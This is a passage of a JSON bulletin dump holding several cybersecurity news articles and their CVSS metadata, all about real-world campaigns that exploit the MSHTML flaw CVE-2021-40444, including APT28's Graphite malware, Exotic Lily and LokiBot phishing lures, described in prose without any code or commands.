[report](<https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html>) shared with The Hacker News.\n\n\"This type of communication allows the malware to go unnoticed in the victims' systems since it will only connect to legitimate Microsoft domains and won't show any suspicious network traffic,\" Trellix explained.\n\nFirst signs of activity associated with the covert operation are said to have commenced as early as June 18, 2021, with two victims reported on September 21 and 29, followed by 17 more in a short span of three days between October 6 and 8.\n\n\"The attack is particularly unique due to the prominence of its victims, the use of a recent [security flaw], and the use of an attack technique that the team had not seen before,\" Christiaan Beek, lead scientist at Trellix, said. \"The objective was clearly espionage.\"\n\nTrellix attributed the sophisticated attacks with moderate confidence to the Russia-based [APT28](<https://malpedia.caad.fkie.fraunhofer.de/actor/sofacy>) group, also tracked under the monikers Sofacy, Strontium, Fancy Bear, and Sednit, based on similarities in the source code as well as in the attack indicators and geopolitical objectives.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEiHATh-_6CXq1DE4gF63tRFptoK4b3k33uBkDfc-JwaJRbLhn0cxU2JHUh5A-0U_AsQ3XgqvcFjPKtR6AVo-_daYwK8-jLWPGzamt2d7MjD1zstHO8IFPqdv3NTZU3GvsI_Wdk9Q7rG6zd84PEcawqbp7bJMrog9xoaUDkiJadygQnO1Wh-qdlH79xN>)\n\n\"We are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding and operation were set up,\" Trellix security researcher Marc Elias said.\n\nThe infection chain begins with the execution of a Microsoft Excel file containing an exploit for the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)), which is used to run a malicious binary that acts as the downloader for a third-stage malware dubbed Graphite.\n\nThe DLL executable uses OneDrive as the C2 server via the Microsoft Graph API to retrieve additional stager malware that ultimately downloads and executes [Empire](<https://attack.mitre.org/software/S0363/>), an open-source PowerShell-based post-exploitation framework widely abused by threat actors for follow-on activities.\n\n\"Using the Microsoft OneDrive as a command-and-control Server mechanism was a surprise, a novel way of quickly interacting with the infected machines by dragging the encrypted commands into the victim's folders,\" Beek explained. \"Next OneDrive would sync with the victim\u2019s machines and encrypted commands being executed, whereafter the requested info was encrypted and sent back to the OneDrive of the attacker.\"\n\nIf anything, the development marks the continued exploitation of the MSTHML rendering engine flaw, with [Microsoft](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) and [SafeBreach Labs](<https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html>) disclosing multiple campaigns that have weaponized the vulnerability to plant malware and distribute custom Cobalt Strike Beacon loaders.\n\n\"The main takeaway is to highlight the level of access threat campaigns, and in particular how capable threat actors are able to permeate the most senior levels of government,\" Raj Samani, chief scientist and fellow at Trellix told The Hacker News. \"It is of paramount importance that security practitioners tasked with protecting such high value systems consider additional security measures to prevent, detect and remediate against such hostile actions.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-25T14:04:00", "type": "thn", "title": "Hackers Exploited MSHTML Flaw to Spy on Government and Defense Targets", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-01-29T08:06:51", "id": "THN:BD014635C5F702379060A20290985162", "href": "https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-02T06:04:33", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgRdLCnYaPXc_hVvRWhZ1nKYDtBRo6rwk1xGSO3wDrqcJ04igkpjKQyuyHKgmgeHL6GS7XLJjB6WCffBWb-ntXiCGFrcggxS3t1sQxo2LiuX7WI9F-gwW3tPRARSzEWceyzsLgu1VSyZndaF36ZhDlzpBRvkHLp7Ao_zaUYJmthkY4IZN4znwcyRdpY/s728-e100/hacking.jpg>)\n\nThe Russian state-sponsored threat actor known as [APT28](<https://thehackernews.com/2022/09/researchers-identify-3-hacktivist.html>) has been found leveraging a new code execution method that makes use of mouse movement in decoy Microsoft PowerPoint documents to deploy malware.\n\nThe technique \"is designed to be triggered when the user starts the presentation mode and moves the mouse,\" cybersecurity firm Cluster25 [said](<https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/>) in a technical report. \"The code execution runs a PowerShell script that downloads and executes a dropper from OneDrive.\"\n\nThe dropper, a seemingly harmless image file, functions as a pathway for a follow-on payload, a variant of a malware known as Graphite, which uses the Microsoft Graph API and OneDrive for command-and-control (C2) communications to retrieve additional payloads.\n\nThe attack employs a lure document that makes use of a template potentially linked to the Organisation for Economic Co-operation and Development ([OECD](<https://en.wikipedia.org/wiki/OECD>)), a Paris-based intergovernmental entity.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjM4urmpBb2OaNLBBurEzXMWD5Gc0bF0d-1A8k55IscX0Hlkq-v1VQ39Xj9y7iwnPFlRBxvY1w6ZlUWb5dYTHpIwA3gVd7mcXXY64dImoNQO7bXe84Wez6JCWTlrdS77BnSIF6DllbmNoGykj67hPrGivBZDqdvzOgXckRo6adoi5bgIMpmnmWEI4_Y/s728-e100/ppt.jpg>)\n\nCluster25 noted the attacks may be ongoing, considering that the URLs used in the attacks appeared active in August and September, although the hackers had previously laid the groundwork for the campaign between January and February.\n\nPotential targets of the operation likely include entities and individuals operating in the defense and government sectors of Europe and Eastern Europe, the company added, citing an analysis of geopolitical objectives and the gathered artifacts.\n\nThis is not the first time the adversarial collective has deployed Graphite. In January 2022, Trellix [disclosed](<https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html>) a similar attack chain that exploited the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)) to drop the backdoor.\n\nThe development is a sign that APT28 (aka Fancy Bear) continues to hone its technical tradecraft and evolve its methods for maximum impact as exploitation routes once deemed viable (e.g., macros) cease to be profitable.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-09-28T10:09:00", "type": "thn", "title": "Hackers Using PowerPoint Mouseover Trick to Infect Systems with Malware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-10-02T05:18:39", "id": "THN:B399D1943153CEEF405B85D4310C2142", "href": "https://thehackernews.com/2022/09/hackers-using-powerpoint-mouseover.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-21T15:55:37", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhTDhGSCLFNoe2MDkuwd-dbu3bKqPHtCuuSNeeosLJmQdiXnE3Hq_M2wsCJ9OqEk2ig0Jn0ITJ4RW9LkqUzEeWCBF6R1H6SS_wGXq_pLI3Y38VenthyRa2AlQQkCDlvzat6a-UDOxxvG3p-0r9ppLP1GKrMXdqPUW28Q6TZDz8v57TTuwc6KS6gi8pJ>)\n\nGoogle's Threat Analysis Group (TAG) took the wraps off a new [initial access broker](<https://thehackernews.com/2021/11/blackberry-uncover-initial-access.html>) that it said is closely affiliated to a Russian cyber crime gang notorious for its Conti and Diavol ransomware operations.\n\nDubbed Exotic Lily, the financially motivated threat actor has been observed exploiting a now-patched critical flaw in the Microsoft Windows MSHTML platform ([CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>)) as part of widespread phishing campaigns that involved sending no fewer than 5,000 business proposal-themed emails a day to 650 targeted organizations globally.\n\n\"Initial access brokers are the opportunistic locksmiths of the security world, and it's a full-time job,\" TAG researchers Vlad Stolyarov and Benoit Sevens [said](<https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/>). \"These groups specialize in breaching a target in order to open the doors \u2014 or the Windows \u2014 to the malicious actor with the highest bid.\"\n\nExotic Lily, first spotted in September 2021, is said to have been involved in data exfiltration and deployment of the human-operated Conti and [Diavol](<https://thehackernews.com/2021/08/researchers-find-new-evidence-linking.html>) ransomware strains, both of which share overlaps with Wizard Spider, the Russian cyber criminal syndicate that's also known for operating [TrickBot](<https://thehackernews.com/2022/03/trickbot-malware-abusing-hacked-iot.html>), [BazarBackdoor](<https://thehackernews.com/2021/07/phony-call-centers-tricking-users-into.html>), and [Anchor](<https://thehackernews.com/2022/03/trickbot-malware-gang-upgrades-its.html>).\n\n\"Yes, this is a possibility, especially considering this is more sophisticated and targeted than a traditional spam campaign, but we don't know for sure as of now,\" Google TAG told The Hacker News when asked whether Exotic Lily could be another extension of the Wizard Spider group.\n\n\"In the [Conti leaks](<https://thehackernews.com/2022/03/conti-ransomware-gangs-internal-chats.html>), Conti members mention 'spammers' as someone who they work with (e.g., provide custom-built 'crypted' malware samples, etc.) through outsourcing. However, most of the 'spammers' don't seem to be present (or actively communicate) in the chat, hence leading to a conclusion they're operating as a separate entity.\"\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEiRLlObJVyztso8c0_EbePqlTPrjHuRu1-NWCjxiV47unTWyXRykIMkEo4lnhKEbWUZSP4zUPmn3jo-N6O4gz5CgskYHypFzEWSI4djVkBE6Gle_kwlb7Mp7tQN5cmk2BPWhrXILnSvxl38u2qgqfAntvF85WiXMyt0WIn_ikXRHLwk6apNoOd64qob>)\n\nThe threat actor's social engineering lures, sent from spoofed email accounts, have specifically singled out IT, cybersecurity, and healthcare sectors, although post November 2021, the attacks have grown to be more indiscriminate, targeting a wide variety of organizations and industries.\n\nBesides using fictitious companies and identities as a means to build trust with the targeted entities, Exotic Lily has leveraged legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver [BazarBackdoor payloads](<https://abnormalsecurity.com/blog/bazarloader-contact-form>) in a bid to evade detection mechanisms.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEjD7gTpku0C6R-pc9VwoTyiLgYiON0B6dyOqyFgyXxeXOTvF5CYHGGGVF3SC9He4ccMof89UgDp1tK7Xuin_iXJUH3yaRAFHQbBlmFKaz-VMRRWlsJZkQMC2Nsov-UnJQdUe37HX901rV208dbe-xqakcZ50w5XWf02Ldv4BMHbCtI-It_dm8dsiLFc>)\n\nThe rogue personas often posed as employees of firms such as Amazon, complete with fraudulent social media profiles on LinkedIn that featured fake AI-generated profile pictures. The group is also said to have impersonated real company employees by lifting their personal data from social media and business databases like RocketReach and CrunchBase.\n\n\"At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker's email, which presents additional detection challenges,\" the researchers said.\n\nAlso delivered using the MHTML exploit is a custom loader called Bumblebee that's orchestrated to gather and exfiltrate system information to a remote server, which responds back commands to execute shellcode and run next-stage executables, including Cobalt Strike.\n\nAn analysis of the Exotic Lily's communication activity indicates that the threat actors have a \"typical 9-to-5 job\" on weekdays and may be possibly working from a Central or an Eastern Europe time zone.\n\n\"Exotic Lily seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors,\" the researchers concluded.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-18T07:31:00", "type": "thn", "title": "Google Uncovers 'Initial Access Broker' Working with Conti Ransomware Gang", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-07-21T13:32:08", "id": "THN:959FD46A8D71CA9DDAEDD6516113CE3E", "href": "https://thehackernews.com/2022/03/google-uncovers-initial-access-broker.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-05T03:38:09", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjI291J10LW67nc2C0UITCwpnhtduhMMY8ndL7-O83eu0zDh2WUIKe9oQiLkdnGI3y197Sqw_347ZW1fDrAE20TW48AvjuRlbQs4jajAbPaCjJbtzYHF8r5WHSfDMS_3mNTO-vTSDdTv2WKNT9BNnzfC2vPEosQs6BTjTvxD329uaye72syjHXguduS/s728-e100/flag.jpg>)\n\nA Belarusian threat actor known as Ghostwriter (aka UNC1151) has been spotted leveraging the recently disclosed browser-in-the-browser (BitB) technique as part of their credential phishing campaigns exploiting the ongoing Russo-Ukrainian conflict.\n\nThe method, which [masquerades](<https://thehackernews.com/2022/03/new-browser-in-browser-bitb-attack.html>) as a legitimate domain by simulating a browser window within the browser, makes it possible to mount convincing social engineering campaigns.\n\n\"Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites,\" Google's Threat Analysis Group (TAG) [said](<https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe/>) in a new report, using it to siphon credentials entered by unsuspected victims to a remote server.\n\nAmong other groups [using the war as a lure](<https://thehackernews.com/2022/03/google-russian-hackers-target.html>) in phishing and malware campaigns to deceive targets into opening fraudulent emails or links include [Mustang Panda](<https://thehackernews.com/2022/03/chinese-mustang-panda-hackers-spotted.html>) and [Scarab](<https://thehackernews.com/2022/03/another-chinese-hacking-group-spotted.html>) as well as nation-state actors from Iran, North Korea, and Russia.\n\nAlso included in the list is Curious Gorge, a hacking crew that TAG has attributed to China's People's Liberation Army Strategic Support Force (PLASSF), which has orchestrated attacks against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.\n\nA third set of attacks observed over the past two-week period originated from a Russia-based hacking group known as COLDRIVER (aka Callisto). TAG said that the actor staged credential phishing campaigns targeting multiple U.S.-based NGOs and think tanks, the military of a Balkans country, and an unnamed Ukrainian defense contractor.\n\n\"However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence,\" TAG researcher Billy Leonard said. \"These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.\"\n\n### Viasat breaks down February 24 Attack\n\nThe disclosure comes as U.S.-based telecommunications firm Viasat spilled details of a \"multifaceted and deliberate\" cyber attack against its KA-SAT network on February 24, 2022, coinciding with Russia's military invasion of Ukraine.\n\nThe attack on the satellite broadband service disconnected tens of thousands of modems from the network, impacting several customers in Ukraine and across Europe and affecting the [operations of 5,800 wind turbines](<https://www.reuters.com/business/energy/satellite-outage-knocks-out-control-enercon-wind-turbines-2022-02-28/>) belonging to the German company Enercon in Central Europe.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjBPeFDF2b99SCr6BVB_zZ-LCkJ_Z4VIMJJ2_hv0dUXzJcbyh_0y2xuG6Ih-wOEDAAPScYYXNZFPIRH4HldJI-VuJV3m-fvIGibDE8t_PLlac8yuJ61A4gBdKQp6TWVpKqVMIRJm7Yxt_9F3F0hbUWlh8rMT48xechHXRrjEbMDZ2TLWlcobJPrpxEq/s728-e100/phishing.jpg>)\n\n\"We believe the purpose of the attack was to interrupt service,\" the company [explained](<https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/>). \"There is no evidence that any end-user data was accessed or compromised, nor customer personal equipment (PCs, mobile devices, etc.) was improperly accessed, nor is there any evidence that the KA-SAT satellite itself or its supporting satellite ground infrastructure itself were directly involved, impaired or compromised.\"\n\nViasat linked the attack to a \"ground-based network intrusion\" that exploited a misconfiguration in a VPN appliance to gain remote access to the KA-SAT network and execute destructive commands on the modems that \"overwrote key data in flash memory,\" rendering them temporarily unable to access the network.\n\n### Russian dissidents targeted with Cobalt Strike\n\nThe relentless attacks are the latest in a long list of malicious cyber activities that have emerged in the wake of the continuing conflict in Eastern Europe, with government and commercial networks suffering from a string of disruptive [data wiper infections](<https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html>) in conjunction with a series of ongoing distributed denial-of-service (DDoS) attacks.\n\nThis has also taken the form of compromising legitimate WordPress sites to inject rogue JavaScript code with the goal of carrying out DDoS attacks against Ukrainian domains, according to [researchers](<https://twitter.com/malwrhunterteam/status/1508517334239043584>) from the MalwareHunterTeam.\n\nBut it's not just Ukraine. Malwarebytes Labs this week laid out specifics of a new spear-phishing campaign targeting Russian citizens and government entities in an attempt to deploy pernicious payloads on compromised systems.\n\n\"The spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid,\" Hossein Jazi [said](<https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/>). \"Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.\"\n\nThe malware-laced RTF documents contain an exploit for the widely abused MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html>)), leading to the execution of a JavaScript code that spawns a PowerShell command to download and execute a Cobalt Strike beacon retrieved from a remote server.\n\nAnother cluster of activity potentially relates to a Russian threat actor tracked as Carbon Spider (aka [FIN7](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>)), which has employed a similar maldocs-oriented attack vector that's engineered to drop a PowerShell-based backdoor capable of fetching and running a next-stage executable.\n\nMalwarebytes also said it has detected a \"significant uptick in malware families being used with the intent of stealing information or otherwise gaining access in Ukraine,\" including [Hacktool.LOIC](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool%3AWin32%2FOylecann.A>), [Ainslot Worm](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Ainslot.A!reg>), FFDroider, [Formbook](<https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook>), [Remcos](<https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos>), and [Quasar RAT](<https://lab52.io/blog/another-cyber-espionage-campaign-in-the-russia-ukrainian-ongoing-cyber-attacks/>).\n\n\"While these families are all relatively common in the cybersecurity world, the fact that we witnessed spikes almost exactly when Russian troops crossed the Ukrainian border makes these developments interesting and unusual,\" Adam Kujawa, director of Malwarebytes Labs, said in a statement shared with The Hacker News.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-31T13:02:00", "type": "thn", "title": "Hackers Increasingly Using 'Browser-in-the-Browser' Technique in Ukraine Related Attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-05T02:23:33", "id": "THN:4E80D9371FAC9B29044F9D8F732A3AD5", "href": "https://thehackernews.com/2022/03/hackers-increasingly-using-browser-in.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:20", "description": "[](<https://thehackernews.com/images/-KnvkhCvOrtg/YTgvMst2aSI/AAAAAAAADvs/ibzrIC7hu6wR3f2vrtI3U2rW7SVg6UbKQCLcBGAsYHQ/s0/microsoft-office-hack.jpg>)\n\nMicrosoft on Tuesday warned of an actively exploited zero-day flaw impacting Internet Explorer that's being used to hijack vulnerable Windows systems by leveraging weaponized Office documents.\n\nTracked as CVE-2021-40444 (CVSS score: 8.8), the remote code execution flaw is rooted in MSHTML (aka Trident), a proprietary browser engine for the now-discontinued Internet Explorer and which is used in Office to render web content inside Word, Excel, and PowerPoint documents.\n\n\"Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents,\" the company [said](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>).\n\n\"An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights,\" it added.\n\nThe Windows maker credited researchers from EXPMON and Mandiant for reporting the flaw, although the company did not disclose additional specifics about the nature of the attacks, the identity of the adversaries exploiting this zero-day, or their targets in light of real-world attacks.\n\nEXPMON, in a [tweet](<https://twitter.com/EXPMON_/status/1435309115883020296>), noted it found the vulnerability after detecting a \"highly sophisticated zero-day attack\" aimed at Microsoft Office users, adding it passed on its findings to Microsoft on Sunday. \"The exploit uses logical flaws so the exploitation is perfectly reliable (& dangerous),\" EXPMON researchers said.\n\nHowever, it's worth pointing out that the current attack can be suppressed if Microsoft Office is run with default configurations, wherein documents downloaded from the web are opened in [Protected View](<https://support.microsoft.com/en-us/topic/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653>) or [Application Guard for Office](<https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/install-app-guard?view=o365-worldwide>), which is designed to prevent untrusted files from accessing trusted resources in the compromised system.\n\nMicrosoft, upon completion of the investigation, is expected to either release a security update as part of its Patch Tuesday monthly release cycle or issue an out-of-band patch \"depending on customer needs.\" In the interim, the Windows maker is urging users and organizations to disable all ActiveX controls in Internet Explorer to mitigate any potential attack.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-08T03:37:00", "type": "thn", "title": "New 0-Day Attack Targeting Windows Users With Microsoft Office Documents", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T04:55:07", "id": "THN:D4E86BD8938D3B2E15104CA4922A51F8", "href": "https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-17T10:25:40", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjJOMAEPqVWWitHSvFnZCKLyOSaDJql5EnF-l96RW57mmexBC_GQqnd__4R64YlOri0OO7PI1E6Pz9ezQs2U8kPJJA_6b2rXJnClq7hdpQjRTSwBjMOACqATXTcr67r69MFPbkkIxmbAcrcHcOa4bK7EWNBIVqGb74_0P1I1nXV7ZrpYVHtpOPYFnbxDxU9/s728-e365/macro.jpg>)\n\nMicrosoft Word documents exploiting known remote code execution flaws are being used as phishing lures to drop malware called **LokiBot** on compromised systems.\n\n\"LokiBot, also known as Loki PWS, has been a well-known information-stealing Trojan active since 2015,\" Fortinet FortiGuard Labs researcher Cara Lin [said](<https://www.fortinet.com/blog/threat-research/lokibot-targets-microsoft-office-document-using-vulnerabilities-and-macros>). \"It primarily targets Windows systems and aims to gather sensitive information from infected machines.\"\n\nThe cybersecurity company, which spotted the campaign in May 2023, said the attacks take advantage of [CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) and [CVE-2022-30190](<https://thehackernews.com/2023/07/romcom-rat-targeting-nato-and-ukraine.html>) (aka Follina) to achieve code execution.\n\nThe Word file that weaponizes CVE-2021-40444 contains an external GoFile link embedded within an XML file that leads to the download of an HTML file, which exploits Follina to download a next-stage payload, an injector module written in Visual Basic that decrypts and launches LokiBot.\n\nThe injector also features evasion techniques to check for the presence of debuggers and determine if it's running in a virtualized environment.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhY0lBlalarJC15jGyY-iAo2cMsq9PmNO4l9CUjSvoLs_pFjhqaurstC3hpmGK9Z_LVY_Jzn5eET2tVtVC6fXjHE3_x17nB7UHLASP0A2WJSOfZKzS1XZgB0b5823Y1rklx3CtJLIzZLZZAWo8Py2PPQZEYFUQR-ZmWWl9JmGCLVLfE-PUdMq-d3r2MlL57/s728-e365/doc.jpg>)\n\nAn alternative chain discovered towards the end of May starts with a Word document incorporating a VBA script that executes a macro immediately upon opening the document using the \"Auto_Open\" and \"Document_Open\" functions.\n\nThe macro script subsequently acts as a conduit to deliver an interim payload from a remote server, which also functions as an injector to load LokiBot and connect to a command-and-control (C2) server.\n\nUPCOMING WEBINAR\n\n[Shield Against Insider Threats: Master SaaS Security Posture Management\n\n](<https://thn.news/I26t1VFD>)\n\nWorried about insider threats? We've got you covered! Join this webinar to explore practical strategies and the secrets of proactive security with SaaS Security Posture 